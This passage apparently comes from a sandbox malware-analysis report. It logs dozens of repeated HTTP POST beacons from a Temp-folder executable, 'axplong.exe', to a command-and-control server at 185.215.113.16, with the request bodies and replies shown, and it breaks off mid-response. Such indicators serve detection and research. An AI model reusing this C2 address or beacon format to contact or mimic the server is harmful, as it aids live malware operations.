                            Sep 27, 2024 00:21:27.817538977 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:27 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            77192.168.2.449814185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:27.938584089 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:28.652015924 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:28 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0
                            Sep 27, 2024 00:21:28.658968925 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:28.884406090 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:28 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            78192.168.2.449815185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:29.001600981 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:29.720103025 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:29 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            79192.168.2.449816185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:29.729978085 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:30.425369978 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:30 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            80192.168.2.449817185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:30.562225103 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:31.245839119 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:31 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            81192.168.2.449818185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:31.258805037 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:32.014235973 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:31 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            82192.168.2.449819185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:32.124872923 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:32.913073063 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:32 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            83192.168.2.449820185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:32.923227072 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:33.660505056 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:33 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            84192.168.2.449821185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:33.781671047 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:34.490014076 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:34 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            85192.168.2.449822185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:34.500309944 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:35.212430000 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:35 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            86192.168.2.449823185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:35.656918049 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:36.362907887 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:36 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            87192.168.2.449824185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:36.377777100 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:37.110224009 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:36 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            88192.168.2.449825185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:37.234158993 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:37.952260017 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:37 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            89192.168.2.449826185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:37.978038073 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:38.694607019 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:38 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            90192.168.2.449827185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:38.818686008 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            91192.168.2.449828185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:39.270950079 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:40.157294035 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:39 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            92192.168.2.449829185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:40.282069921 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:40.977560997 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:40 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            93192.168.2.449830185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:40.987936020 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:41.694217920 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:41 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            94192.168.2.449831185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:41.812446117 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:42.585949898 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:42 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            95192.168.2.449832185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:42.602546930 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:43.300069094 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:43 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            96192.168.2.449833185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:43.420763969 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:44.139190912 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:44 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Refresh: 0; url = Login.php
                            Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 1 0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            97192.168.2.449834185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:44.148298979 CEST308OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 154
                            Cache-Control: no-cache
                            Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 36 42 43 42 38 30 43 30 42 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39
                            Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C206BCB80C0B4C7966D0AB4C6EC28AB3156D80425B09
                            Sep 27, 2024 00:21:45.170546055 CEST196INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
                            Date: Thu, 26 Sep 2024 22:21:45 GMT
                            Content-Type: text/html; charset=UTF-8
                            Transfer-Encoding: chunked
                            Connection: keep-alive
                            Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a
                            Data Ascii: 7 <c><d>0


                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                            98192.168.2.449835185.215.113.16801220C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
                            TimestampBytes transferredDirectionData
                            Sep 27, 2024 00:21:45.280916929 CEST156OUTPOST /Jo89Ku7d/index.php HTTP/1.1
                            Content-Type: application/x-www-form-urlencoded
                            Host: 185.215.113.16
                            Content-Length: 4
                            Cache-Control: no-cache
                            Data Raw: 73 74 3d 73
                            Data Ascii: st=s
                            Sep 27, 2024 00:21:46.017177105 CEST219INHTTP/1.1 200 OK
                            Server: nginx/1.18.0 (Ubuntu)
